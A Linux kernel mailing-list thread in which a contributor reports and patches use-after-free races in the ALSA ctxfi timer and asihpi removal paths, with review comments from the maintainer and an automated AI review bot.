> > + * sync here, but do NOT route prepare through it. */
> > + ct_systimer_stop(ti);
> > + timer_shutdown_sync(&ti->timer);
> > +}
> >
> > static const struct ct_timer_ops ct_systimer_ops = {
> > .init = ct_systimer_init,
>
> The code change makes sense, but please try to reduce the redundant
> comment text.
>
> Then add Signed-off-by tag and resubmit.
>
>
> thanks,
>
> Takashi
>
> >
> >
> > > -----原始邮件-----
> > > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > > 发送时间:2026-11-13 20:03:25 (星期五)
> > > 收件人: perex@perex.cz, tiwai@suse.com
> > > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > > 主题: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
> > >
> > > `ct_systimer_prepare()` is used as both the prepare callback and the
> > > `free_instance` callback. It calls `timer_delete_sync_try()` and ignores the
> > > return value; `-1` means the timer callback is running on another CPU and the
> > > timer was NOT deleted. `ct_timer_instance_free()` then removes the instance
> > > and `kfree()`s it while `ct_systimer_callback()` can still dereference
> > > `ti->substream`, `ti->substream->runtime`, `ti->apcm`, and `ti->position`.
> > > A normal PCM close with `use_system_timer=1` can therefore produce a UAF of
> > > the timer instance, the PCM runtime, and the driver's private PCM object.
> > >
> > > The detailed description:
> > >
> > > * Test environment / affected version
> > >
> > > Linux 7.3.0, source analysis plus a QEMU/KASAN primitive reproducer.
> > > The reproducer uses the real exported `timer_delete_sync_try()` and a timer
> > > callback; it does not call the static ctxfi functions or emulate ctxfi
> > > hardware.
> > >
> > > * Mechanism
> > >
> > > `ct_systimer_callback()` (`sound/pci/ctxfi/cttimer.c:63-87`) reads
> > > `ti->substream`, `substream->runtime`, `ti->apcm`,
> > > `substream->ops->pointer`, `apcm->interrupt`, and `ti->position`; it takes
> > > `ti->lock` only near the end and may re-arm the timer.
> > >
> > > `ct_systimer_stop()` (`cttimer.c:105-110`) locks `ti->lock`, clears
> > > `ti->running`, and calls `timer_delete()`. `ct_systimer_prepare()`
> > > (`cttimer.c:112-116`) then does:
> > >
> > > ct_systimer_stop(ti);
> > > timer_delete_sync_try(&ti->timer);
> > >
> > > `#define ct_systimer_free ct_systimer_prepare` at line 118 makes the same
> > > function the `free_instance` callback, and `ct_systimer_ops.free_instance`
> > > is set at 120-126. `ct_timer_instance_free()` (`cttimer.c:360-373`) calls
> > > `atimer->ops->stop()`, then `free_instance()`, then `list_del()` under
> > > `list_lock`, then `kfree(ti)`.
> > >
> > > `timer_delete_sync_try()` (`kernel/time/timer.c:1488-1492`) returns 0 if the
> > > timer was not pending, 1 if it was pending and deactivated, and -1 if the
> > > callback is running on another CPU. It never waits. The return value is
> > > ignored here.
> > >
> > > The PCM close path is `snd_pcm_release_substream()`
> > > (`sound/core/pcm_native.c:2785-2805`) -> `snd_pcm_drop()` ->
> > > `snd_pcm_detach_substream()` (`sound/core/pcm.c:978-1005`). The ctxfi
> > > `runtime->private_free` is `ct_atc_pcm_free_substream()`
> > > (`sound/pci/ctxfi/ctpcm.c:103-112`), which calls
> > > `ct_timer_instance_free(apcm->timer)` and then `kfree(apcm)`. Thus a
> > > callback running on another CPU can use `ti`, `ti->substream->runtime`, and
> > > `apcm` after they are freed.
> > >
> > > * Why the fix cannot simply sleep in ct_systimer_prepare()
> > >
> > > The same callback is also `ct_timer_ops.prepare`, called from
> > > `ct_timer_prepare()` while `snd_pcm_prepare()` holds
> > > `pcm_stream_lock_irq` (`pcm_native.c:2042-2050`). Replacing the try with a
> > > sleeping `timer_delete_sync()` there would cause "scheduling while atomic".
> > > The prepare path must keep a non-sleeping delete/try; the close/free path
> > > needs a separate method.
> > >
> > > * Trigger model
> > >
> > > `use_system_timer=1` (module parameter; default is false), open/prepare a
> > > PCM, let the system timer callback run, then close the PCM while the
> > > callback is still active on another CPU. SMP/preemption required.
> > > Consequence: UAF in timer softirq; crash or memory corruption.
> > >
> > > * Dynamic evidence
> > >
> > > `sndpci_race.c`, mode `v3`, runs the real
> > > `timer_delete_sync_try()`; when it returns -1 the test frees the object while
> > > the callback is in `mdelay()`. Show 16 KASAN reports:
> > >
> > > sndpci_race: v3 iter=0 delete_sync_try=-1
> > > BUG: KASAN: slab-use-after-free in v3_callback
> > > ...
> > > Allocated by task 86: v3_thread
> > > Freed by task 86: kfree -> v3_thread
> > >
> > >
> > >
> > > * Suggested direction
> > >
> > > Split the callbacks: keep `ct_systimer_prepare()` non-sleeping for the
> > > prepare path, and add a separate `ct_systimer_free()` for close/free that
> > > first clears the callback/running state and then calls
> > > `timer_shutdown_sync(&ti->timer)` (or `timer_delete_sync()`), before the
> > > instance list removal and `kfree(ti)`. Do not call the sleeping helper from
> > > the PCM prepare path.
> > >
> > >
> > > Please keep me in Cc; I am not subscribed to the lists.
> > >
> > >
> > > Regards,
> > > Hanxiang Xu
> > > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: Re: [PATCH] Re: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
2026-11-26 2:13 ` 徐晗翔
@ 2026-11-26 2:27 ` sashiko-bot
2026-11-26 7:54 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-26 2:27 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 5 potential
issues to consider:
- [High] ALSA: ctxfi: UAF in ct_systimer_callback() due to early
resource release
- [High] ALSA: ctxfi: malformed Signed-off-by trailer in commit message
- [Medium] ALSA: ctxfi: ct_systimer_prepare() skips timer sync on false
lock claim
- [Low] ALSA: ctxfi: conversational email reply used as commit changelog
- [Low] ALSA: ctxfi: missing Fixes trailer in commit message
--
commit 02a6a4ecfa65d329ad7bd896394803d538429061
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
>
> Hi,
>
> thanks for the review.
>
> Also, sorry for the potentially slow follow-ups: I have been quite busy
> lately, so I will get to the other reported issues (the rest of the sound-core series) one by one with their patches in a while.
>
> Signed-off-by: <Hanxiang Xu> <xuhx@hust.edu.cn>
[Severity: Low]
Conversational reply text to reviewers belongs below the "---" separator in a
patch email rather than in the commit changelog body. The commit message body
should provide a technical description of the bug and how the patch resolves
it.
[Severity: High]
The Signed-off-by trailer wraps the contributor display name in angle brackets
("<Hanxiang Xu>") and does not match the commit Author header ("徐晗翔").
Should the angle brackets around the name be removed and the Author header and
Signed-off-by trailer made consistent (for example,
"Signed-off-by: Hanxiang Xu <xuhx@hust.edu.cn>")?
[Severity: Low]
Should this bug fix include a Fixes tag?
Fixes: b7bbf876087e ("ALSA: ctxfi - Use native timer interrupt on emu20k1")
> diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
> index 9d6f5df2bc7ef..fea9d61aa4569 100644
> --- a/sound/pci/ctxfi/cttimer.c
> +++ b/sound/pci/ctxfi/cttimer.c
> @@ -111,11 +111,17 @@ static void ct_systimer_stop(struct ct_timer_instance *ti)
>
> static void ct_systimer_prepare(struct ct_timer_instance *ti)
> {
> + /* non-sleeping: also runs under the PCM stream lock */
> ct_systimer_stop(ti);
> timer_delete_sync_try(&ti->timer);
> }
[Severity: Medium]
Does ct_systimer_prepare() actually run under the PCM stream lock, and can
leaving timer_delete_sync_try() here still race with a running
ct_systimer_callback()?
snd_pcm_prepare() releases pcm_stream_lock_irq before calling
snd_pcm_action_nonatomic(&snd_pcm_action_prepare, ...), and all three callers
of ct_timer_prepare() in sound/pci/ctxfi/ctatc.c
(atc_pcm_playback_prepare(), atc_pcm_capture_prepare(), and
spdif_passthru_playback_prepare()) run in sleepable process context where they
allocate with GFP_KERNEL and lock atc->atc_mutex right before calling
ct_timer_prepare().
When timer_delete_sync_try() returns -1 because ct_systimer_callback() is
running on another CPU, ct_timer_prepare() resets ti->position = 0 and
ti->running = 0 while the old callback is still in flight. That callback can
then overwrite ti->position with a stale value, call apcm->interrupt(apcm), or
observe ti->running == 1 if ct_timer_start() runs right after prepare and
re-arm ti->timer with a stale interval. Using timer_delete_sync(&ti->timer)
here avoids this race.
> -#define ct_systimer_free ct_systimer_prepare
> +static void ct_systimer_free(struct ct_timer_instance *ti)
> +{
> + /* may sleep: wait for a callback running on another CPU */
> + ct_systimer_stop(ti);
> + timer_shutdown_sync(&ti->timer);
> +}
[Severity: High]
Isn't waiting for the timer inside ct_systimer_free() too late to prevent a
use-after-free and NULL pointer dereference in ct_systimer_callback()?
When a running stream is stopped and closed with use_system_timer=1,
ct_systimer_stop() only calls non-blocking timer_delete(&ti->timer), and
neither ct_pcm_playback_ops nor ct_pcm_capture_ops implements .sync_stop.
Before ct_timer_instance_free() calls ct_systimer_free(), both
ct_pcm_hw_free() and ct_atc_pcm_free_substream() call
atc->pcm_release_resources(atc, apcm):
sound/pci/ctxfi/ctpcm.c:ct_atc_pcm_free_substream() {
...
atc->pcm_release_resources(atc, apcm);
ct_timer_instance_free(apcm->timer);
kfree(apcm);
}
atc_pcm_release_resources() frees apcm->src via src_mgr->put_src() and
unmaps/frees and clears apcm->vm_block while ct_systimer_callback() can still
be running on another CPU:
CPU0 CPU1
snd_pcm_release_substream()
snd_pcm_drop()
...
ct_systimer_stop()
timer_delete(&ti->timer)
ct_systimer_callback()
substream->ops->pointer(substream)
atc_pcm_playback_position()
...
atc_pcm_release_resources()
src_mgr->put_src(..., apcm->src)
kfree(src)
apcm->src = NULL
ct_unmap_audio_buffer(atc, apcm)
apcm->vm_block = NULL
src->ops->get_ca(src)
<-- use-after-free
apcm->vm_block->addr
<-- NULL dereference
ct_timer_instance_free()
ct_systimer_free()
timer_shutdown_sync(&ti->timer)
The same unsynchronized atc_pcm_release_resources() call also runs in
ct_pcm_hw_params() and at the beginning of atc_pcm_playback_prepare() and
atc_pcm_capture_prepare() before ct_timer_prepare() is reached.
--
Sashiko AI review · https://sashiko.dev/#/patchset/152af2bc.a54.1a215a12cc9.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
2026-11-26 2:13 ` 徐晗翔
2026-11-26 2:27 ` sashiko-bot
@ 2026-11-26 7:54 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-26 7:54 UTC (permalink / raw)
To: 徐晗翔
Cc: Takashi Iwai, perex, tiwai, linux-sound, linux-kernel
On Thu, 26 Nov 2026 03:13:34 +0100,
徐晗翔 wrote:
>
> Hi,
>
> thanks for the review.
>
> Also, sorry for the potentially slow follow-ups: I have been quite busy
> lately, so I will get to the other reported issues (the rest of the sound-core series) one by one with their patches in a while.
>
> Signed-off-by: <Hanxiang Xu> <xuhx@hust.edu.cn>
Please create a "full" patch and resubmit from a scratch, instead.
That is, prepare a patch containing:
- a proper Subject line, followed by patch description text, then a
blank line
- If possible, provide Fixes tag pointing to the commit that
introduced the breakage
- Put "Cc: <stable@vger.kernel.org>" line
- Put your Signed-off-by line;
it should be like "Signed-off-by: Hanxiang Xu <xuhx@hust.edu.cn>"
(no <> around your name)
And submit the patch again, at best without hanging on the thread.
See Documentation/process/submitting-patches.rst for details.
thanks,
Takashi
> ---
> sound/pci/ctxfi/cttimer.c | 8 +++++++-
> 1 file changed, 7 insertions(+), 1 deletion(-)
>
> diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
> --- a/sound/pci/ctxfi/cttimer.c
> +++ b/sound/pci/ctxfi/cttimer.c
> @@ -111,11 +111,17 @@
>
> static void ct_systimer_prepare(struct ct_timer_instance *ti)
> {
> + /* non-sleeping: also runs under the PCM stream lock */
> ct_systimer_stop(ti);
> timer_delete_sync_try(&ti->timer);
> }
>
> -#define ct_systimer_free ct_systimer_prepare
> +static void ct_systimer_free(struct ct_timer_instance *ti)
> +{
> + /* may sleep: wait for a callback running on another CPU */
> + ct_systimer_stop(ti);
> + timer_shutdown_sync(&ti->timer);
> +}
>
> static const struct ct_timer_ops ct_systimer_ops = {
> .init = ct_systimer_init,
> --
>
>
> > -----原始邮件-----
> > 发件人: "Takashi Iwai" <tiwai@suse.de>
> > 发送时间:2026-11-25 22:35:15 (星期三)
> > 收件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 抄送: perex@perex.cz, tiwai@suse.com, linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: Re: [PATCH] Re: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
> >
> > On Wed, 25 Nov 2026 13:51:53 +0100,
> > 徐晗翔 wrote:
> > >
> > > ct_systimer_prepare() served as both the prepare callback and the
> > > free_instance callback and ignored the -1 return of
> > > timer_delete_sync_try() (-1 means the callback is running on
> > > another CPU and was NOT deleted); ct_timer_instance_free() then
> > > kfree()d the instance while ct_systimer_callback() still
> > > dereferenced ti->substream, substream->runtime, ti->apcm and
> > > ti->position -- a UAF on a normal PCM close with use_system_timer=1.
> > >
> > > Split the callbacks: keep ct_systimer_prepare() non-sleeping (it
> > > also runs from ct_timer_prepare() under snd_pcm_prepare()'s stream
> > > lock, where a sleeping wait would be 'scheduling while atomic'), and
> > > give the free path its own ct_systimer_free() that calls
> > > timer_shutdown_sync() before the instance is removed and kfree()d.
> > > ---
> > > sound/pci/ctxfi/cttimer.c | 15 ++++++++++++++-
> > > 1 file changed, 14 insertions(+), 1 deletion(-)
> > >
> > > diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
> > > --- a/sound/pci/ctxfi/cttimer.c
> > > +++ b/sound/pci/ctxfi/cttimer.c
> > > @@ -111,11 +111,24 @@
> > >
> > > static void ct_systimer_prepare(struct ct_timer_instance *ti)
> > > {
> > > + /* keep the try variant here: this callback also runs from
> > > + * ct_timer_prepare() under snd_pcm_prepare()'s stream lock, where
> > > + * a sleeping wait would be a "scheduling while atomic" */
> > > ct_systimer_stop(ti);
> > > timer_delete_sync_try(&ti->timer);
> > > }
> > >
> > > -#define ct_systimer_free ct_systimer_prepare
> > > +static void ct_systimer_free(struct ct_timer_instance *ti)
> > > +{
> > > + /* the close/free path runs in process context and must wait for a
> > > + * callback that is already running on another CPU before the
> > > + * instance (and the PCM runtime / apcm it dereferences) is removed
> > > + * and kfree()d; timer_delete_sync_try() returns -1 in exactly that
> > > + * case without waiting, so a UAF followed. Use the full shutdown
> > > + * sync here, but do NOT route prepare through it. */
> > > + ct_systimer_stop(ti);
> > > + timer_shutdown_sync(&ti->timer);
> > > +}
> > >
> > > static const struct ct_timer_ops ct_systimer_ops = {
> > > .init = ct_systimer_init,
> >
> > The code change makes sense, but please try to reduce the redundant
> > comment text.
> >
> > Then add Signed-off-by tag and resubmit.
> >
> >
> > thanks,
> >
> > Takashi
> >
> > >
> > >
> > > > -----原始邮件-----
> > > > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > > > 发送时间:2026-11-13 20:03:25 (星期五)
> > > > 收件人: perex@perex.cz, tiwai@suse.com
> > > > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > > > 主题: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
> > > >
> > > > `ct_systimer_prepare()` is used as both the prepare callback and the
> > > > `free_instance` callback. It calls `timer_delete_sync_try()` and ignores the
> > > > return value; `-1` means the timer callback is running on another CPU and the
> > > > timer was NOT deleted. `ct_timer_instance_free()` then removes the instance
> > > > and `kfree()`s it while `ct_systimer_callback()` can still dereference
> > > > `ti->substream`, `ti->substream->runtime`, `ti->apcm`, and `ti->position`.
> > > > A normal PCM close with `use_system_timer=1` can therefore produce a UAF of
> > > > the timer instance, the PCM runtime, and the driver's private PCM object.
> > > >
> > > > The detailed description:
> > > >
> > > > * Test environment / affected version
> > > >
> > > > Linux 7.3.0, source analysis plus a QEMU/KASAN primitive reproducer.
> > > > The reproducer uses the real exported `timer_delete_sync_try()` and a timer
> > > > callback; it does not call the static ctxfi functions or emulate ctxfi
> > > > hardware.
> > > >
> > > > * Mechanism
> > > >
> > > > `ct_systimer_callback()` (`sound/pci/ctxfi/cttimer.c:63-87`) reads
> > > > `ti->substream`, `substream->runtime`, `ti->apcm`,
> > > > `substream->ops->pointer`, `apcm->interrupt`, and `ti->position`; it takes
> > > > `ti->lock` only near the end and may re-arm the timer.
> > > >
> > > > `ct_systimer_stop()` (`cttimer.c:105-110`) locks `ti->lock`, clears
> > > > `ti->running`, and calls `timer_delete()`. `ct_systimer_prepare()`
> > > > (`cttimer.c:112-116`) then does:
> > > >
> > > > ct_systimer_stop(ti);
> > > > timer_delete_sync_try(&ti->timer);
> > > >
> > > > `#define ct_systimer_free ct_systimer_prepare` at line 118 makes the same
> > > > function the `free_instance` callback, and `ct_systimer_ops.free_instance`
> > > > is set at 120-126. `ct_timer_instance_free()` (`cttimer.c:360-373`) calls
> > > > `atimer->ops->stop()`, then `free_instance()`, then `list_del()` under
> > > > `list_lock`, then `kfree(ti)`.
> > > >
> > > > `timer_delete_sync_try()` (`kernel/time/timer.c:1488-1492`) returns 0 if the
> > > > timer was not pending, 1 if it was pending and deactivated, and -1 if the
> > > > callback is running on another CPU. It never waits. The return value is
> > > > ignored here.
> > > >
> > > > The PCM close path is `snd_pcm_release_substream()`
> > > > (`sound/core/pcm_native.c:2785-2805`) -> `snd_pcm_drop()` ->
> > > > `snd_pcm_detach_substream()` (`sound/core/pcm.c:978-1005`). The ctxfi
> > > > `runtime->private_free` is `ct_atc_pcm_free_substream()`
> > > > (`sound/pci/ctxfi/ctpcm.c:103-112`), which calls
> > > > `ct_timer_instance_free(apcm->timer)` and then `kfree(apcm)`. Thus a
> > > > callback running on another CPU can use `ti`, `ti->substream->runtime`, and
> > > > `apcm` after they are freed.
> > > >
> > > > * Why the fix cannot simply sleep in ct_systimer_prepare()
> > > >
> > > > The same callback is also `ct_timer_ops.prepare`, called from
> > > > `ct_timer_prepare()` while `snd_pcm_prepare()` holds
> > > > `pcm_stream_lock_irq` (`pcm_native.c:2042-2050`). Replacing the try with a
> > > > sleeping `timer_delete_sync()` there would cause "scheduling while atomic".
> > > > The prepare path must keep a non-sleeping delete/try; the close/free path
> > > > needs a separate method.
> > > >
> > > > * Trigger model
> > > >
> > > > `use_system_timer=1` (module parameter; default is false), open/prepare a
> > > > PCM, let the system timer callback run, then close the PCM while the
> > > > callback is still active on another CPU. SMP/preemption required.
> > > > Consequence: UAF in timer softirq; crash or memory corruption.
> > > >
> > > > * Dynamic evidence
> > > >
> > > > `sndpci_race.c`, mode `v3`, runs the real
> > > > `timer_delete_sync_try()`; when it returns -1 the test frees the object while
> > > > the callback is in `mdelay()`. Show 16 KASAN reports:
> > > >
> > > > sndpci_race: v3 iter=0 delete_sync_try=-1
> > > > BUG: KASAN: slab-use-after-free in v3_callback
> > > > ...
> > > > Allocated by task 86: v3_thread
> > > > Freed by task 86: kfree -> v3_thread
> > > >
> > > >
> > > >
> > > > * Suggested direction
> > > >
> > > > Split the callbacks: keep `ct_systimer_prepare()` non-sleeping for the
> > > > prepare path, and add a separate `ct_systimer_free()` for close/free that
> > > > first clears the callback/running state and then calls
> > > > `timer_shutdown_sync(&ti->timer)` (or `timer_delete_sync()`), before the
> > > > instance list removal and `kfree(ti)`. Do not call the sleeping helper from
> > > > the PCM prepare path.
> > > >
> > > >
> > > > Please keep me in Cc; I am not subscribed to the lists.
> > > >
> > > >
> > > > Regards,
> > > > Hanxiang Xu
> > > > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
2026-11-13 11:58 ` ALSA: ctxfi: free atimer only after the timer IRQ is quiesced 徐晗翔
2026-11-13 12:03 ` ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF) 徐晗翔
@ 2026-11-13 12:04 ` 徐晗翔
2026-11-25 12:50 ` [PATCH] " 徐晗翔
2026-11-13 12:06 ` ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF) 徐晗翔
` (38 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-13 12:04 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
`snd_asihpi_remove()` frees the ALSA card and then sends HPI_ADAPTER_DELETE
(which frees the HPI6205 `phw`) before `free_irq()`. Both the primary IRQ
handler and the threaded handler can therefore run against freed memory:
the primary handler dereferences `phw->prHSR` through
`adapter_irq_query_and_clear()`, and the threaded callback dereferences
`a->snd_card->private_data` after the card private area has been freed.
The detailed description:
* Test environment / affected version
Linux 7.3.0 source tree. Affected hardware path: ASI6205/HPI6205 in
interrupt mode (`low_latency_mode && irq_supported`, `interrupt_mode=1`).
HPI6000 does not set `irq_query_and_clear` and is polled, so it is not part
of this report.
* Mechanism
`snd_asihpi_remove()` (`sound/pci/asihpi/asihpi.c:2919-2933`):
hpi->interrupt_callback = NULL; /* if interrupt_mode */
... send HPI IRQ rate 0 ...
snd_card_free(hpi->snd_card); /* line 2930 */
hpi->snd_card = NULL; /* line 2931 */
asihpi_adapter_remove(pci_dev); /* line 2932 */
`asihpi_adapter_remove()` (`hpioctl.c:520-555`) then sends IRQ rate 0,
sends `HPI_ADAPTER_DELETE` (537-540), and only afterwards calls
`free_irq(pa->irq, pa)` (542-543).
HPI6205 `adapter_delete()` (`hpi6205.c:491-510`) -> `delete_adapter_obj()`
(`hpi6205.c:675-704`) does `kfree(phw)` at 703 without clearing
`pao->priv`, then `hpi_delete_adapter()` (`hpicmn.c:96-108`) memsets the
registry object at 106. The primary handler `asihpi_isr()`
(`hpioctl.c:311-335`) checks `a->adapter->irq_query_and_clear` and calls
it; HPI6205 installs that handler at `hpi6205.c:662`, and
`adapter_irq_query_and_clear()` (`hpi6205.c:708-722`) does
`ioread32(phw->prHSR)` at 714.
Window A (phw UAF): the handler loads the function pointer before
`delete_adapter_obj()` frees `phw`, and executes after the free.
Window B (NULL deref): the handler executes after `hpi_delete_adapter()`
memsets the registry, so `pao->priv` is NULL and `phw->prHSR` is a NULL
dereference.
Window C (card private UAF): `asihpi_isr_thread()` (`hpioctl.c:337-344`)
calls `a->interrupt_callback(a)`; `snd_card_asihpi_isr()`
(`asihpi.c:898-907`) reads `a->snd_card->private_data` and
`asihpi->llmode_streampriv`. The card private area is allocated by
`snd_card_new(..., sizeof(struct snd_card_asihpi), ...)`
(`asihpi.c:2794-2799`) and freed by `snd_card_do_free()`
(`sound/core/init.c:584-611`, `kfree(card)` at 610). After
`hpi->snd_card = NULL`, the same callback can also return NULL from the
`snd_card` load and hit the WARN_ON/NULL path.
* Why existing synchronization does not close the window
asihpi never sets `card->sync_irq`, so `snd_card_disconnect()` does not call
`synchronize_irq()`. `snd_card_free()` waits for open files and the card
release completion, not for the IRQ handler/thread. `free_irq()` is the
first operation that quiesces the IRQ, and it happens after `snd_card_free()`
and after HPI_ADAPTER_DELETE has freed `phw`.
* Trigger model
HPI6205 device in IRQ mode; remove/unbind the PCI device. Root is needed
for unbind/remove. Consequence: UAF/NULL deref in hard IRQ or threaded IRQ
context; crash or memory corruption. The report does not claim a
concurrent user ioctl path: the card file drain prevents that, and only the
single remove path sends HPI_ADAPTER_DELETE.
* Suggested direction
Free/quiesce the IRQ before `snd_card_free()` and before sending
HPI_ADAPTER_DELETE:
if (hpi->irq) {
free_irq(hpi->irq, hpi);
hpi->irq = 0;
}
snd_card_free(hpi->snd_card);
Keep the existing `if (pa->irq)` guard in `asihpi_adapter_remove()` to avoid
a double free. Alternatively set `card->sync_irq` and perform an explicit
`synchronize_irq()` before releasing the card private data, but freeing the
IRQ first is simpler and also covers the `phw` window.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF)
2026-11-13 12:04 ` ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF) 徐晗翔
@ 2026-11-25 12:50 ` 徐晗翔
2026-11-25 13:03 ` sashiko-bot
2026-11-25 14:43 ` Takashi Iwai
0 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:50 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
snd_asihpi_remove() freed the ALSA card and then sent
HPI_ADAPTER_DELETE (kfree()ing the HPI6205 phw) BEFORE free_irq():
both the primary handler (adapter_irq_query_and_clear() reads
phw->prHSR) and the threaded handler (snd_card_asihpi_isr() reads
a->snd_card->private_data) could run against freed memory.
free_irq() -- the first operation that waits for the in-flight
primary and threaded handlers -- now runs before snd_card_free()
and before HPI_ADAPTER_DELETE, with hpi->irq cleared so the existing
if (pa->irq) guard in asihpi_adapter_remove() does not double-free
---
sound/pci/asihpi/asihpi.c | 14 ++++++++++++++
1 file changed, 14 insertions(+)
diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
--- a/sound/pci/asihpi/asihpi.c
+++ b/sound/pci/asihpi/asihpi.c
@@ -2927,6 +2927,20 @@
HPI_ADAPTER_PROPERTY_IRQ_RATE, 0, 0));
}
+ /* Free/quiesce the IRQ before the card and the HPI adapter objects
+ * go away: free_irq() is the first (and only) operation that waits
+ * for the in-flight primary and threaded handlers. Afterwards
+ * snd_card_free() releases the card private area (read by
+ * snd_card_asihpi_isr() through a->snd_card->private_data) and
+ * asihpi_adapter_remove() sends HPI_ADAPTER_DELETE, which kfree()s
+ * the phw whose prHSR the primary handler dereferences through
+ * adapter_irq_query_and_clear(). asihpi_adapter_remove() keeps its
+ * if (pa->irq) guard, so this is not a double free_irq(). */
+ if (hpi->irq) {
+ free_irq(hpi->irq, hpi);
+ hpi->irq = 0;
+ }
+
snd_card_free(hpi->snd_card);
hpi->snd_card = NULL;
asihpi_adapter_remove(pci_dev);
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-13 20:04:48 (星期五)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: asihpi: free IRQ before snd_card_free()/HPI delete on HPI6205 removal (UAF)
>
> `snd_asihpi_remove()` frees the ALSA card and then sends HPI_ADAPTER_DELETE
> (which frees the HPI6205 `phw`) before `free_irq()`. Both the primary IRQ
> handler and the threaded handler can therefore run against freed memory:
> the primary handler dereferences `phw->prHSR` through
> `adapter_irq_query_and_clear()`, and the threaded callback dereferences
> `a->snd_card->private_data` after the card private area has been freed.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux 7.3.0 source tree. Affected hardware path: ASI6205/HPI6205 in
> interrupt mode (`low_latency_mode && irq_supported`, `interrupt_mode=1`).
> HPI6000 does not set `irq_query_and_clear` and is polled, so it is not part
> of this report.
>
> * Mechanism
>
> `snd_asihpi_remove()` (`sound/pci/asihpi/asihpi.c:2919-2933`):
>
> hpi->interrupt_callback = NULL; /* if interrupt_mode */
> ... send HPI IRQ rate 0 ...
> snd_card_free(hpi->snd_card); /* line 2930 */
> hpi->snd_card = NULL; /* line 2931 */
> asihpi_adapter_remove(pci_dev); /* line 2932 */
>
> `asihpi_adapter_remove()` (`hpioctl.c:520-555`) then sends IRQ rate 0,
> sends `HPI_ADAPTER_DELETE` (537-540), and only afterwards calls
> `free_irq(pa->irq, pa)` (542-543).
>
> HPI6205 `adapter_delete()` (`hpi6205.c:491-510`) -> `delete_adapter_obj()`
> (`hpi6205.c:675-704`) does `kfree(phw)` at 703 without clearing
> `pao->priv`, then `hpi_delete_adapter()` (`hpicmn.c:96-108`) memsets the
> registry object at 106. The primary handler `asihpi_isr()`
> (`hpioctl.c:311-335`) checks `a->adapter->irq_query_and_clear` and calls
> it; HPI6205 installs that handler at `hpi6205.c:662`, and
> `adapter_irq_query_and_clear()` (`hpi6205.c:708-722`) does
> `ioread32(phw->prHSR)` at 714.
>
> Window A (phw UAF): the handler loads the function pointer before
> `delete_adapter_obj()` frees `phw`, and executes after the free.
>
> Window B (NULL deref): the handler executes after `hpi_delete_adapter()`
> memsets the registry, so `pao->priv` is NULL and `phw->prHSR` is a NULL
> dereference.
>
> Window C (card private UAF): `asihpi_isr_thread()` (`hpioctl.c:337-344`)
> calls `a->interrupt_callback(a)`; `snd_card_asihpi_isr()`
> (`asihpi.c:898-907`) reads `a->snd_card->private_data` and
> `asihpi->llmode_streampriv`. The card private area is allocated by
> `snd_card_new(..., sizeof(struct snd_card_asihpi), ...)`
> (`asihpi.c:2794-2799`) and freed by `snd_card_do_free()`
> (`sound/core/init.c:584-611`, `kfree(card)` at 610). After
> `hpi->snd_card = NULL`, the same callback can also return NULL from the
> `snd_card` load and hit the WARN_ON/NULL path.
>
> * Why existing synchronization does not close the window
>
> asihpi never sets `card->sync_irq`, so `snd_card_disconnect()` does not call
> `synchronize_irq()`. `snd_card_free()` waits for open files and the card
> release completion, not for the IRQ handler/thread. `free_irq()` is the
> first operation that quiesces the IRQ, and it happens after `snd_card_free()`
> and after HPI_ADAPTER_DELETE has freed `phw`.
>
> * Trigger model
>
> HPI6205 device in IRQ mode; remove/unbind the PCI device. Root is needed
> for unbind/remove. Consequence: UAF/NULL deref in hard IRQ or threaded IRQ
> context; crash or memory corruption. The report does not claim a
> concurrent user ioctl path: the card file drain prevents that, and only the
> single remove path sends HPI_ADAPTER_DELETE.
>
> * Suggested direction
>
